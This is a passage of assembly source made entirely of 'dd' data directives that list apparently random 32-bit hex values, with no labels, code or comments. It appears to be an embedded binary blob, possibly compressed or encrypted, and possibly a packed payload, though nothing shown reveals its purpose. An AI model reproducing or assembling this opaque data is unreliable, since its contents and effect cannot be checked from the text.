0A7F81888h, 32EC7FFFh, 57130FB4h, 8BD14FEh dd 30D7F35Ah, 763CCC59h, 4A1AA429h, 0F89E3250h, 30830E91h dd 3716A70h, 0F46968FAh, 5F64CE85h, 7F21FA10h, 565DD868h dd 0A9571108h, 6818300Dh, 3F1ED456h, 0CCB61530h, 29FF5FD4h dd 682482CAh, 9B012010h, 90ACDA11h, 61700128h, 5F2CB481h dd 83F57FEBh, 5231ABCEh dd 0FF365E69h, 0C99FE067h, 0BD6FF9F4h, 3C538DCAh, 3E8D4E28h dd 3F7BA12Bh, 55594662h, 0C04A99D2h, 9E51EAACh, 0C7F5D37Fh dd 1C8318CAh, 1B4811EBh, 14687D2Fh, 91261332h, 95148B46h dd 892FD672h, 7C4D1201h, 0E572656Fh, 32A46B41h, 718F9F1Fh dd 6EF90C09h, 8C448A0Fh, 0B7402204h, 4BB45E78h, 0DB06A97h dd 7752D5Eh, 0EB40A8FCh, 5FC63B06h, 0A3ADC27Dh, 34D41A89h dd 590A7161h, 0AF6776FAh, 8B2173C9h, 0D1895626h, 6119235Ch dd 2C1A6A08h, 454D23Eh, 158B84F7h, 0A4D0A2ECh, 0F420C01Ch dd 0A89ABDAh, 0CB05AE2Eh, 1D0E68B9h, 71F249C2h, 0AFECA75Fh dd 52F00ECBh, 0EB1BD3E0h, 3A096C0Fh, 810D4062h, 55C862F9h dd 0C4DFD47Ch, 70400475h, 0EFC43D80h, 0E9051321h, 0FBBBF192h dd 5F6382F3h, 0FDE55D02h, 13EE96FDh, 4D78C792h, 779D2070h dd 0C353958h, 36580888h, 104D488Dh, 0AF8F6527h, 42D125FCh dd 0F2BB5093h, 448C4B95h, 0A580BE35h, 2B9D47C6h, 0DF70926Eh dd 2A46F26Ch, 85735D2Fh, 38E95697h, 1607F34Eh, 8EE9655Bh dd 0D0F70C06h, 8750F23h, 0EA0B14CFh, 0F7131756h, 4B9C87AAh dd 762D4AF4h, 897F4AFBh, 4872508h, 0AA5034F7h, 9C5BCF63h dd 5C8B5342h, 9655A60Ch, 74570932h, 581911F6h, 50610412h dd 0E70ED146h, 1011B817h, 12208179h, 0EE940F01h, 25BC44Bh dd 0CBB70F96h, 0BED144C0h, 4AEA5295h, 848AB8BFh, 0AB88BDD6h dd 0AC1F4B74h, 1419DE91h, 40170811h, 0B75D63Bh, 0EB3AC7E2h dd 0BC5BA07h, 77CC8003h, 805E7905h, 75CD3B89h, 0D48D0C6Bh dd 0C04D20D2h, 0F65D5F6Eh, 5B5510C7h, 9278A15Ah, 7B165645h dd 8A42B3BDh, 22DF98D1h, 88011040h, 49FDF720h, 8BA2088Dh dd 88BACB29h, 64BECA88h, 0AD37AA1Dh, 0CE3B1281h, 0E7625DF2h dd 0F80DCE63h, 0A08EB0Ch, 48691CEh, 647C5AADh, 0C745F31h dd 75514FB0h, 5B940B06h, 5EC2143Ah, 6834150h, 10484B8Bh dd 8909D231h, 0A7FA5520h, 0F0671F7Dh, 16CD101Fh, 2B1781FAh dd 0FFC883CAh, 2E27ED3h, 0B01485D2h, 0D85D1C75h, 117D0FC1h dd 197E048Dh, 9E0E9638h, 23B1C01Ch, 0BC52F27Ch, 28CE5D5Eh dd 96D19FBAh, 4F1428DAh, 43D44D8Bh, 1BB33C8Dh, 55591F2Eh dd 0E0D3A412h, 2B379909h, 0C4B7C097h, 784E1A0Ch, 2CFD391Ch dd 0A501404Bh, 0EF26BA17h, 7DF60591h, 0A525B8E7h, 7DB5F75Ah dd 0BA25D4C3h, 4391DE59h, 0CF0A015Fh, 0B4995EC3h, 34EFC865h dd 5E14837Dh, 91848A5Eh, 112460F1h, 5AF20A2Bh, 12BCCE8Bh dd 215E0585h, 2D56F643h, 8A47F15Ch, 640F570Eh, 0FC39D3C9h dd 0E68AB9A6h, 9D742C09h, 1BF02113h, 3B4013F8h, 0A78D4C1h dd 149DC8FFh, 1A5EDA82h, 72564EA6h, 12C808E5h, 3854DB56h dd 8930BE04h, 6920134h, 0F062DF4Ah, 0A9DB12F5h, 25F351CFh dd 90E01277h, 84410D26h, 0D349F946h, 192EE1D7h, 82C214CFh dd 61775BF9h, 0A921998Ah, 3BF083Bh, 5195CFA0h, 0D80C1567h dd 7A3DBD5Ah, 0E61F2E90h, 0D61EDA2Bh, 15E40714h, 63DBCE23h dd 7A0BE823h, 4B075B3Eh, 2142CB4Ah, 3D5E4E89h, 7530EE22h dd 6AF498DCh, 755B7602h, 59080FF7h, 3B21E6C1h, 570F7CDFh dd 8173FFC2h, 741004F6h, 67D3EB0Dh, 79F09212h, 0FCE9EA4Bh dd 8EE04E79h, 24EE5BDAh, 48EA81BCh, 34D9FD0Ah, 2AE18030h dd 6E64827h, 2F4400Ch, 0B43030DCh, 0B7E38110h, 0EBECF5FAh dd 0EF127795h, 0F164355h, 0C001FB24h, 0A540E4DFh, 0F4E18157h dd 0AF72F633h, 28285D26h, 7F46BD5Fh, 161229D1h, 97FA59C6h dd 0A85F926Ch, 8D21289h, 396B7E4h, 8771539h, 541F8B22h dd 432B6F59h, 0E62008D4h, 4B4F2B2Ch, 0C14F126h, 3CEBA03Fh dd 7FD8093Bh, 540B2B3Fh, 18C8C6D4h, 5413AB46h, 0A7ED0A56h dd 0C86314Bh, 0ED245C40h, 9820B2CAh, 0DF5EF930h, 7C1F153Bh dd 62D95328h, 57F52A0Ch, 5B8B271Ch, 0F88A977h, 946A3703h dd 3FE1362Ch, 65800A25h, 0A227FF7h, 0AD24F303h, 0C19266DAh dd 38129E83h, 9413107Fh, 0BFF7B7E0h, 5E992950h, 0B393028h dd 57F84EF1h, 1A40FF12h, 36492EEDh, 1AE12EF8h, 0A6F41CEh dd 75202484h, 31D25F05h, 0E0686C31h, 0F35E8728h, 7A5E8669h dd 0F82CC8EBh, 25259374h, 5F00A955h, 3AE24962h, 7334D514h dd 0EF2820B4h, 0A9E64B5Fh, 0F82D42B5h, 0D62585FCh, 385BEF59h dd 80BD4AEBh, 0C6017E54h, 8530060Fh, 2BC7EFDBh, 85E3D71Fh dd 5A68F9CCh, 0BE3A86F8h, 300241A2h, 4010885Ah, 75EE83FFh dd 0A16F4EE9h, 7C508E99h, 3539E712h, 87AA0D54h, 2FDF7A4Eh dd 0EB1CB2D8h, 183EFEF5h, 0FF18313Eh, 2F047C42h, 0D3D35712h dd 0D1A25F3Ch, 8A38BB92h, 14879C56h, 61A09D57h, 21FF5947h dd 4868D037h, 6A19709Ch, 41871104h, 17A5FC8Bh, 78393C66h dd 70A3851Bh, 187C282Fh, 4A053787h, 0B68F615h, 0BF7D5F7Dh dd 6CEB2EA3h, 0B3C70B3Dh, 284C0D74h, 4B1CB809h, 0D335BD5Eh dd 0D0665823h, 27BF0642h, 940207FFh, 0CF6425C8h, 16F1C14Ch dd 245BCF23h, 1234C72Eh, 77D9D0C2h, 239483C4h, 6BCFD53Dh dd 5B74B5F0h, 0E088513h, 3C0BB928h, 32BF73C9h, 214F77E9h dd 75C3D2C0h, 0E8D3E812h, 0BD1FB20Eh, 0BC664B11h, 4BEB990Ch dd 0F814014Eh, 658A4C5Ah, 88315AEh, 76C88B0Bh, 48C19743h dd 6A77EEE2h, 0CECB4115h, 620AC72Fh, 50F7C903h, 0B1F01DFh dd 120C8DD9h, 81404189h, 91E0A2C7h, 0DFEBCB13h, 0CF0B1346h dd 8482D9Ah, 29389F1h, 0D82BBC8Dh, 4CBD0620h, 21144375h dd 7B68490Eh, 0A17E5C2Fh, 2B69EAAAh, 87C83B14h, 7A2597A2h dd 584E109h, 5E31B416h, 68044CB6h, 92AB7206h, 0A3252CA0h dd 8DC3180Fh, 120D0F35h, 126AC893h, 936D2961h, 7E8D2826h dd 84F67493h, 581C6C38h, 0B8F5A142h, 34A7741Eh, 640A6A8Bh dd 0C916EE8Ah, 8F777B0Fh, 0CD032A26h, 754AF88Bh, 16D436BAh dd 39157484h, 296F87BAh, 0ABB7E472h, 0A78E5676h, 18558450h dd 391724AEh, 3F451D4Fh, 4F901375h, 2574CB3Bh, 55E36607h dd 0DA013830h, 0B5E1EB58h, 5127C5C5h, 0A14D8980h, 0B8D044EAh dd 392A7E00h, 2F7C1045h, 0AEC96533h, 2BC5EF08h, 2CB89AAh dd 527B099Fh, 2DD16490h, 559D7518h, 381E0572h, 9393015Eh dd 0EB3E5BDAh, 643E1741h, 3EDC5A50h, 4AC2B03Fh, 0CA18F479h dd 27A94E9Dh, 1A5B6A0Eh, 0DC863E8Bh, 1CF7EB1Eh, 5073BFB6h dd 40F980E0h, 0A156773h, 45005B20h, 0E0D3C2A5h, 0E0D060CDh dd 0F41FE1FCh, 3D0096E2h, 0F81AD227h, 563D0555h, 0BBEA64FAh dd 3AA21310h, 32E45008h, 2EF002F0h, 0F07E833Dh, 490D71B7h dd 463B0F03h, 0FF09E5FFh, 1207F252h, 0F6E68940h, 1A74EC58h dd 300EFF11h, 0F1A5F5Ch, 9244DD23h, 8811C350h, 0BC93186Fh dd 0EF2404C4h, 0D53F27BEh, 0B9CCBAC3h, 0B918BFE1h, 0E487A810h dd 7CA16118h, 0F3232535h, 0E25D3E25h, 56EFA5B8h, 4992BCF8h dd 0F2321C5Eh, 0EBC6F201h, 561C421Dh, 5364B4FCh, 0CEE62008h dd 51E5B895h, 492A44A3h, 0E7062408h, 524951Ch, 0D94BDDA1h dd 2450E59Eh, 65CC9134h, 0BB272B94h, 5F8AA868h, 419F8A18h dd 2D93C68Eh, 0C720842Fh, 9B18119Fh, 3ED2FC40h, 8D7CC963h dd 0AF618361h, 6EE76D7Ah, 0F7E67DB1h, 387FA562h, 0BD0BEBCBh dd 6056EEBAh, 49EE4A2Fh, 948A298Ah, 4D6056E0h, 0B4561D3Ah dd 53C625A7h, 0EE085635h, 8D824C4Ch, 0BEFDCC65h, 444C41B1h dd 4830BBBEh, 954910B8h dd 74086B01h, 3D911720h, 0EC094A78h, 723013F9h, 77240A1Dh dd 206D9B18h, 46AC33Ah, 572814D5h, 81FA11A3h, 29BCF931h dd 10911272h, 222642CAh, 0A762F08h, 5F5AECD6h, 0B27E94A9h dd 0F6A4602Fh, 449EBCB9h, 4144FB01h, 20BA908Dh, 1C73C2BEh dd 0D4D489BDh, 0EBEF33F5h, 2BAFE240h, 0F85EC1F8h, 32AEE9C4h dd 0ECF0548Ch, 20FA4779h, 0C6BCBED2h, 43EBC581h, 563642BEh dd 470E945Dh, 4B935833h, 554515F3h, 0AF926F31h, 0F215EC14h dd 0D6032011h, 0C13EE8EBh, 0DF4EFCE7h, 0F66A32B1h, 98562F13h dd 4B7357D3h, 0B741A352h, 84318AFFh, 4DB63612h, 148FE448h dd 0E8C91ECFh, 481C8FF6h, 0E3EC08DCh, 0F46A5303h, 750AC6EBh dd 0F60340F5h, 18446890h, 8907098Bh, 6B05301Ch, 0FD7BEC5Bh dd 0EE91734Dh, 0F9558B0Dh, 2C3CC419h, 0E712BF07h, 0EB371384h dd 5C323BD2h, 0AC1FE63Ch, 0F4C82B32h, 21700E49h, 7AC23A50h dd 0C830787h, 0C033B230h, 0C3942F37h, 0C0FB73A2h, 14FF6C4h dd 74B5FA5Ch, 3FAE10FAh, 203D0EB9h, 0C2FE983Dh, 1FE28379h dd 0D13FB9h, 9D502574h, 14119CE5h, 0B24AE992h, 4806FE12h dd 4459D257h, 3EC51C12h, 0F6F3B0EEh, 5780C110h, 3969E43Eh dd 74E81081h, 0EC0A8F09h, 10FFE4C6h, 6580F7C1h, 0A3EA84DBh dd 0A9B82524h, 39C5EFCh, 40C5F611h, 539C009h, 97165864h dd 0FF73F452h, 0C1BC6A50h, 0C6235E09h, 2DFB842Bh, 26219E83h dd 70811506h, 0B0BF1D89h, 0CDBD6A80h, 4223F48Eh, 9911025h dd 1907E540h, 39F8A27Ah, 267499F8h, 18D5200Ah, 0AD23003h dd 0B0BBC40Ch, 0EBF03382h, 2AB4594h, 0C5B4979h, 3CAAFA9h dd 0BAB83C9Bh, 178F0729h, 0BFB8D204h, 0C804CB66h, 2E74357Fh dd 0F42AF4A0h, 44C4BECFh, 113C4C02h, 17C18203h, 0D5AD7A6Eh dd 6448F82Ah, 23041337h, 0FCBE792Eh, 547CC29h, 6891A57h dd 0DA7611A7h, 19AD0E95h, 54F8368h, 6C970708h, 0C44B647h dd 851180BEh, 1374C71Fh, 0D48C0D0Ah, 9274D6A5h, 0AC385714h dd 40A88503h, 9281B50Bh, 0F610A7B9h, 50C449FEh, 0F70B25FEh dd 8554558h, 0A5E3015h, 62495F9h, 7AE44A0Ch, 630D5966h dd 1344CF2Eh, 0F24E15DFh, 0EB2218B2h, 9D74573Eh, 571CA94Bh dd 73F49711h, 73742549h, 4BCB2822h, 12C5F756h, 0B3EE1B75h dd 4BEB5674h, 0E25E2DE6h, 0DB6A11BDh, 54067512h, 925669Ch dd 0A7A4D9FAh, 53560814h, 59A2137Ch, 4E67EAACh, 0CCB23F3h dd 887798EDh, 7A0B452Ch, 0E9F38FD2h, 400DC48h, 0B1787504h dd 43F6C545h, 6EB102F9h, 0FF92D36Ah, 25F1E5DFh, 0C269A674h dd 4BEFFE4Eh, 740CD072h, 6E3FEB4Dh, 3AA6BC13h, 0B089EB4Eh dd 86BF41D4h, 0F4167527h, 14413F3Ch, 7C1605CAh, 4C8CFA8Ah dd 0CCCA9F12h, 7575501Ch, 0FB3E0EA0h, 504C594Eh, 0BD0B6819h dd 0F5C961D8h, 1F945608h, 4178A707h, 0FBF3204Bh, 12B2F64Fh dd 25F4A540h, 565D30Bh, 405FF87h, 0EE51C30Eh, 0ED333E45h dd 5C68ECD1h, 0A07A9D2Ch, 97882DA2h, 201DB8C8h, 0DC842EAh dd 7D5FB110h, 29493FD0h, 7A138BF5h, 906827E4h, 4A1CA99h dd 1298E0FAh, 8AEE0241h, 0E418DF13h, 6C06B0Dh, 2D39663Ch dd 0D28015D6h, 9494A35Ah, 5215898Ah, 0BFC5025h, 3CF66BF1h dd 0B3142888h, 0FF062A47h, 38A11B74h, 0C53B280Fh, 0C12B34DAh dd 610BB50h, 80A31A40h, 8BA4211h, 0C37108Ah, 935AA7E8h dd 0E8358B25h, 125550A8h, 0F3BF3F6Ah, 9D042ABDh, 94685319h dd 393D57BBh, 0B421D68Bh, 0A06C3911h, 0A150E558h, 6032801Eh dd 9108923Fh, 4554200Bh, 85A3F19h, 3CE83A52h, 13FCB80h dd 0E83E0882h, 0A1153518h, 9242A608h, 4D6D3C19h, 0AB5A3EB8h dd 3CA1E821h, 5B11B258h, 5D38FF50h, 356B840Ch, 25C47336h dd 92EB537Eh, 14227FF5h, 1C89A3C5h, 56F11955h, 0C759343Eh dd 0CBC49AFEh, 800A64DDh, 69C6830Ah, 6435A03h, 3E25F0B6h dd 8ADD5C2Dh, 14A5F46h, 0B359DBEAh, 69C37030h, 0C2BBC94Bh dd 925F89A2h, 160AF44Fh, 3A26012Bh, 0E0077CC3h, 30D7F39h dd 62EFEB46h, 0F14E75F4h, 44542E49h, 2745A984h, 2F64C803h dd 84F32B28h, 28462347h, 8AFD3BE1h, 19D9F7C4h, 1B087D49h dd 2591A9C4h, 0B9210356h, 0A8B70810h, 0B621E348h, 3524EB1Fh dd 590B20C7h, 0DAF12736h, 828CF025h, 23305D37h, 6DB4B36Eh dd 5B77D9A0h, 3B144609h, 435F9205h, 201022C3h, 1021CA0h dd 2D5A4883h, 0C2CC1899h, 0DB7C20Eh, 51354836h, 282ACF66h dd 341E6411h, 32471126h, 750C3021h, 892C151Dh, 2E134257h dd 92A1B99h, 56EB5330h, 57291414h, 504CB215h, 0C3E592D7h dd 52217DEh, 2CDFC8E2h, 15D4C5CCh, 0E025CA50h, 72DE6408h dd 287510DCh, 94D815C8h, 0DA291357h, 92D6901Bh, 535805AEh dd 914F5857h, 1FAC42EBh, 78205753h, 0EBE921A3h, 258E3DDh dd 5308640Ch, 0A47450FCh, 0E812867Eh, 0A70AEC05h, 8B580744h dd 0E23D915h, 0B7B24A1h, 3B1C4E03h, 0A01E7DD0h, 278C0FCAh dd 9E5CFEBFh, 0B78F14BCh, 7ECA1B08h, 1A7DE128h, 0C674D863h dd 24F67C14h, 28F27F20h, 452A087Eh, 0ABC43F95h, 0C40A0495h dd 6160604h, 821B89AAh, 330F7538h, 186C41C9h, 0C14E9D08h dd 84D254B1h, 9C23280Fh, 0A2EF1A25h, 780C7DD8h, 105D1633h dd 89010956h, 1477BC44h, 65831AC7h, 5DD8B3Bh, 0E0EA0BB6h dd 2EA0860Ah, 0BA909EBh, 0D365175Ch, 69A802AFh, 2A2F6DD2h dd 0C10CD243h, 1DF930F8h, 0FE03076Ah, 253A8485h, 5F87029Ch dd 8B83F799h, 3BB81845h, 7F201C55h, 2B070F0Eh, 0ADDE03C2h dd 0F905BF56h, 0E640AEBh, 0BEA7986h, 38750518h, 60A57854h dd 0A12CB609h, 10910661h, 0CE3B0060h, 0E983207Eh, 0AA1BFE07h dd 87A77589h, 850C8209h, 0A0078199h, 3307F13h, 87D404Dh dd 2B753201h, 0A7622442h, 3E1B378Bh, 0B828AA2Eh, 2C150CA3h dd 301298FDh, 2AF9A4A3h, 0E72B55EBh, 506400Bh, 2B2162B9h dd 790766E8h, 5C03050Dh, 0A149A226h, 0BA11EB0Dh, 8D823B09h dd 41B7850Eh, 97461350h, 45F52935h, 9CFBDA45h, 70210106h dd 0B60F0950h, 4C2226D5h, 0F2844A24h, 1C751312h, 824F4CFCh dd 2DD0E3Dh, 0F82E45CAh, 3E236FB6h, 6E68CDF3h, 276CB9E1h dd 449BCC5Fh, 4227A543h, 8934CD57h, 0F9D56774h, 84680969h dd 7257A641h, 2AA328AFh, 6850741Ch, 283C11E9h, 0A3360860h dd 0EE1A2B48h, 0A10FCA4Ch, 0AA50350Ch, 5FD0BB0Bh, 0A1F2C7ACh dd 14114C52h, 4A125305h, 6DAD9AFh, 15512204h, 0FCF82B4Eh dd 0BFF8EB84h, 0F12DBE3h, 6E6B8AFh, 8957E0FEh, 0EF774B16h dd 0B22A0869h, 587712C6h, 1A77DCEFh, 8C52A995h, 25771D2Bh dd 0C95E502Eh, 974C7558h, 0A5021949h, 5F19F73Eh, 38781C12h dd 21D2FFA4h, 6A563F04h, 889FAB08h, 0AB247512h, 161BFD72h dd 0EB2719F6h, 0FFD0098Bh, 0C75DD09Eh, 56C30563h, 0B149ECEBh dd 50C4F0F5h, 0B75E9403h, 4443404Ch, 40F62FC2h, 0EAD3C48Eh dd 4EC68D1h, 1854438h, 14BC0247h, 24AF177Ch, 0A2B034E4h dd 590D44AFh, 7024833Fh, 51374EB7h, 0C92A60BCh, 33BA2FC8h dd 32A28D84h, 0FA7242C1h, 6B739461h, 10332558h, 0A89255Eh dd 7C9A315Fh, 37854E7Eh, 3853364Bh, 7F17F3B2h, 0C1F809C2h dd 1430FF29h, 8EB0367h, 0BA3B1798h, 0B7185277h, 96C3BB38h dd 0DB07FF99h, 78873067h, 3CE627Fh, 10C0D5F6h, 0C1073F34h dd 0F10B1FE9h, 2907F7E9h dd 470F3D7h, 0D1E9EAEBh, 7EE33EE1h, 50372E47h, 0F25EEC36h dd 0A6B0F9FCh, 0BE93AC1h, 1D9F89CEh, 19E71B08h, 0CFF3EAF3h dd 7A40566Eh, 0D34EDF5Ah, 692E559Fh, 0C4D433E9h, 0FAF05613h dd 8940404Eh, 53301372h, 76080604h, 0AD574A51h, 8DF3037Eh dd 8FA5F07Dh, 8E9674FEh, 4B06F592h, 0A44F3A9h, 0AA10A434h dd 517B5DFCh, 80BE0F0Dh, 48213CA1h, 0FF1C0DC7h, 3BC16B3Ch dd 0C88DB675h, 0E1AC395Fh, 9EE46E28h, 140698C1h, 0A8438910h dd 7A7B5859h, 0FBE1FCEEh, 0CAF9D244h, 0FFFD8141h, 0FE057313h dd 0BED3EB03h, 0CA7C36E2h, 4C661064h, 5988FF3Dh, 0DE66E2EBh dd 725EDDE2h, 3AD40A80h, 0A8FB5CE4h, 0A445C584h, 0C14F77ACh dd 7B5AC004h, 9DE8C5C8h, 8B0C69EAh, 0E081DC06h, 0D004D402h dd 0F810E408h, 5EEBEC3Fh, 208C40F6h, 0EA090B74h, 0A49F830Ah dd 810D0905h, 0E7EB47E3h, 265EC960h, 1251F8Ah, 870F0BF8h dd 4683D77h, 88558524h, 0FB809AC0h, 0C7C3031h, 77F390Ah dd 27FD6A4Ah, 3A4C7609h, 21329B55h, 8417051Eh, 2BFE20EAh dd 48711E74h, 0D1BD69B0h, 79D41B62h, 0A0D2357Eh, 0D82936ACh dd 0EB5804CEh, 20D6ABA7h, 9E12CD20h, 0F0A2009Fh, 0A5C5057Ch dd 4B24AE7Eh, 9BCDB8AAh, 318A3322h, 2CAA2D0Ah, 52A43007h dd 8E0F4300h, 18A00289h, 12407E45h, 7B1CC863h, 8F936567h dd 6A131572h, 4F3C7E06h, 84080B2Ah, 970945A6h, 0BD84564Ch dd 68595863h, 8949D19h, 8B0A01B5h, 0B4696C2h, 153919FDh dd 2E7E3F30h, 0C88444C4h, 3C1ADDABh, 0EEB12B5h, 231D3CBAh dd 5EF5C65Ah, 197DC03Ah, 55821073h, 0EB809768h, 370C306Fh dd 3A30CBAh, 2A92F80Eh, 0B93B7FEh, 0C615A3ACh, 1B5B6E5Bh dd 0DC060DBFh, 7BEF0D75h, 284A7894h, 107571F3h, 0D311C81Ch dd 47E88B68h, 2350B912h, 990A21D4h, 1401122Dh, 5E95770Ah dd 610AED4Dh, 0F9B56EB6h, 0EB023D0Fh, 0FE4F8D57h, 0A3908C44h dd 44498CACh, 4362DCC8h, 0C0B55F64h, 65EBA560h, 22E0B265h dd 839105CDh, 0F6784F6h, 0AF8DF28Ch, 0E98F6C41h, 0AEB138Ch dd 0E617C29h, 6A097F21h, 914F58C8h, 1231A00Ah, 0FEC1EB44h dd 2A5B4C5Fh, 0FFDA36B5h, 14FCDBBBh, 0B4B6C0D9h, 0AB837192h dd 58070145h, 0C7082F51h, 8E994F0Ah, 89EEB780h, 96121485h dd 772511DFh, 0C2555C2Ch, 6757F633h, 7E1C59D8h, 0B63921F2h dd 0FE8180F9h, 7A145032h, 0BEC3997Fh, 19A551C5h, 4A2116FCh dd 0D03888D4h, 0E538E74Fh, 86ACD55Bh, 38507E19h, 6A88D9A4h dd 39582418h, 157600A8h, 5BB7D80h, 0FE037C1Eh, 2EBC4BFBh dd 0D348F484h, 13FEEB21h, 0F061291h, 0B555A586h, 0EC17B00Eh dd 0F237D989h, 4A53BA2Ah, 57E1B717h, 0ED727801h, 0A1E45697h dd 39FC60B0h, 7D061590h, 3D8F702h, 0E014CB48h, 1810950Ch dd 2B03DC81h, 483D1CC1h, 304B7EC2h, 65DA8DFEh, 0CF7ECEBCh dd 0CE5506B3h, 65D448C8h, 0DB336005h, 5A39ADB8h, 73615B89h dd 54DDBD7Eh, 3D3A5E9Ch, 0EE94FB0h, 1D02062h, 95E4C613h dd 16030F7h, 7A6D6F80h, 2C29239h, 0FBCA06C6h, 72B5EB37h dd 5EEEC025h, 0AAB9592h, 8049399h, 0DBC4BF15h, 0D0170F52h dd 84DC287h, 5FE3C00Bh, 6713989h, 6025997h, 920A419Ah dd 2EA2EC5Dh, 1E8FA111h, 6D19DC84h, 0EE12C409h, 4854922h dd 88F648C0h, 1F118640h, 8E44A422h, 5E5C8A5Ah, 1CBD45C5h dd 0BEC88077h, 0F4F012BDh, 0B800490Eh, 57C98566h, 0CC2320EBh dd 91E508C8h, 44E722E6h, 0EA89E9E8h, 0EC24EB12h, 0EE88ED48h dd 3FEF0BFBh, 0D02A3957h, 43A7B02Ah, 0EB2D020Dh, 0C7A0D04h dd 0D2980CF0h, 51E7527h, 1EAA1A6Dh, 8E155F00h, 19142383h dd 1030862h, 68300402h, 4A0F7B6Dh, 7A4DA066h, 807BB867h dd 0E12EC7A6h, 55FAF8F9h, 0F70F2298h, 402B97FFh, 0A868FB04h dd 54EB74F0h, 27749746h, 0E8EA8115h, 22C70857h, 682E0A3Bh dd 0F191AA0h, 0D8092367h, 9866681Dh, 95B48D23h, 0D1CBAACCh dd 3041F905h, 68E87AD3h, 891D9057h, 0E1818106h, 9420B70Fh dd 2296CFh, 0C06918E9h, 0BADE4D10h, 0A708EE4Ah, 58F06509h dd 0C8D1258h, 555E004Eh, 4DC96BFAh, 0F67D7DECh, 9201B43Fh dd 0CB9BCEDh, 0ECFEC112h, 0FF20478h, 3AC4C6BFh, 5620FCBFh dd 66D154DDh, 0FA7D8102h, 58723FFFh, 46E42B21h, 4D7E0719h dd 0C7F61459h, 33908C57h, 1967745Ch, 36D147Dh, 7F157C3Ch dd 78199108h, 0F18323FCh, 31A17A15h, 86415FD1h, 0F03EFA75h dd 7A833F65h, 0D4049DFBh, 432CFD1Ch, 92721346h, 591CCA01h dd 802AF175h, 0DEF71724h, 4E68124h, 0B00D7E42h, 0CB4EC01Dh dd 31DEF336h, 22A2DA22h, 7E1C9A01h, 14FA6050h, 0F07375FAh dd 0A5711290h, 0E2B425A3h, 0CF099050h, 8A0D3508h, 8AE71634h dd 4B8BFB93h, 4AE1A9CAh, 50041B82h, 8007F90Ah, 0B6750188h dd 8ADF05B5h, 602E6287h, 8D35F980h, 7C04014Bh, 72C13B30h dd 0E487B0Fh, 0EB488406h, 4C42EFF1h, 0C3FF6640h, 0C32A808Eh dd 9088EC2Ch, 8EC0B754h, 182D6480h, 53357404h, 4E0C6120h dd 0F416B430h, 0B6D95BC9h, 1230E404h, 0FB056380h, 75D387D2h dd 0ECCE6676h, 6474D8C7h, 0FF460959h, 1F419C48h, 0A3C9403h dd 67F2A20h, 7D2E186Bh, 417CE9B0h, 0E1A90997h, 541B84Fh dd 1A9034EBh, 10619D54h, 3A5C2127h, 0A01A2FC2h, 8B457CF2h dd 0C070CE70h, 0BEF0C72h, 80845038h, 4AFE8305h, 0AD2FD901h dd 76780F9Ah, 533CD0F6h, 0F93B5062h, 42FAF857h, 55E95E0Bh dd 7FD11D27h, 70062514h, 9AA36D2h, 0A4F415F3h, 91BF79A7h dd 2D26488Ch, 4C3AD408h, 0A1352839h, 0D6832BB8h, 0F40D5EBCh dd 1E077D32h, 2B40148Dh, 63950A9Ch, 22832548h, 0CC20602h dd 0FFF77549h, 920AE05h, 0FAF40E4Bh, 0E28D651h, 3762BC7Eh dd 4678AAEFh, 82A0A13h, 0B3BC7B89h, 8204D027h, 28417E29h dd 0FAED9D56h, 16E24490h, 39050615h, 0F44F9050h, 14D0FBA6h dd 0AB027413h, 857040B3h, 50B5BFA2h, 1D3B2F11h, 1590D3D9h dd 68DEAA92h, 0C844F60Fh, 6457012Bh, 4889B723h, 86671D3h dd 23EB4230h, 0D62A6C02h, 0AA2B778Ah, 6F42C2FCh, 8D708768h dd 5DF009AEh, 68974F73h, 331D7424h, 1432E9D0h, 939A0C90h dd 27DD260h, 50520998h, 534A772Ah, 80B38EFh, 0EB184AA8h dd 909DD77Dh, 5B7505E0h, 4A828B0Ah, 663A5DB1h, 4FA89CACh dd 89F7D40h, 926811AEh, 672D0620h, 0BB137F93h, 0F41753A4h dd 8FFC6BEh, 0CA3AD8B7h, 52451548h, 0F969B076h, 523E2093h dd 0FCD6D008h, 0DEB16DFh, 0A393A6A6h, 0B8EC11F0h, 984BBC5Bh dd 4D745735h, 1B1F4C65h, 1BB45B39h, 791259E3h, 7BA09E81h dd 0D21EA450h, 0ADD71336h, 28045F4Ch, 37BF533Eh, 0AEF8F499h dd 542F13A4h, 0C3B0F50h, 177659C7h, 3C008022h, 0F753D38h dd 0A1505357h, 0BF785F40h, 0C61689D4h, 38271804h, 382D448Dh dd 0CB3CD401h, 0FE5A6BD4h, 0E36647E1h, 305B0A4Bh, 6EEC510Bh dd 26E4638Eh, 0F9990A46h, 7DF29BAh, 0C223F833h, 0E781CA21h dd 661A7122h, 9341243Dh, 42B83501h, 7629B8EBh, 167F99CDh dd 3DFA0CADh, 8791BFFDh, 3F8B9EA2h, 9E6BDC77h, 0D981E83Ah dd 7A7F028Ah, 0EF84812h, 300C562Fh, 464C392Ch, 0DB0B3A5Ch dd 424D41A8h, 2047801Ah, 1EFCE97Fh, 1531F42h, 9D433916h dd 35E113Ah, 37AE0D52h, 0B06651Fh, 0B7C46825h, 6077988Ah dd 89050C1Fh, 320898Bh dd 0E1C07FC0h, 0C6F0497Eh, 84E5FB8h, 0EC7ED7E2h, 1377974Dh dd 12186933h, 633915Ch, 0C1AFB109h, 83FC188Eh, 0B51D2BCh dd 0D3E731BDh, 66530617h, 566766E9h, 0F46D4302h, 27E0FBA5h dd 0FC1ACDC8h, 18B0B212h, 7F59810Ch, 9241819Ch, 5829C002h dd 7E22034Ah, 0E7F1F625h, 0EBC54580h, 0F0B40265h, 1E888608h dd 7A4E27Fh, 45163953h, 0F2BCC0Eh, 0F71EBF61h, 0A9D01D8h dd 0DC7C738Bh, 3FA0BBC4h, 641ACECh, 75594BC0h, 0EC5B4EEAh dd 38A56B89h, 3CBC040Eh, 970F7794h, 84256F7Ch, 1A3D1BFCh dd 35750A19h, 0B3FBDE42h, 0B565B32Ch, 0E299AA1Eh, 6E071D14h dd 34E65719h, 31920BAEh, 0EF0E21F7h, 41FE524Ch, 6F10BBCAh dd 68E2ABF4h, 0D58BDEF4h, 731DA733h, 0FAFBA81Bh, 35C77C0Bh dd 6100E89h, 0C024E3Bh, 0D406E440h, 0EB31D91Eh, 0D1DFF736h dd 9CB52AFFh, 41B5D744h, 8B1C7D9h, 70268364h, 85E7E91h dd 53E075BCh, 4B5D98BBh, 0EBF67F3Bh, 16396024h, 7D637404h dd 0BB0D92A9h, 4284CF8h, 4272D4D7h, 6751017h, 0E8FC718Fh dd 56411122h, 0C3830957h, 1D197C54h, 7E0CB03h, 27743681h dd 1FE7288Dh, 0C2753C81h, 72556187h, 0F47D4DC0h, 6402D4A5h dd 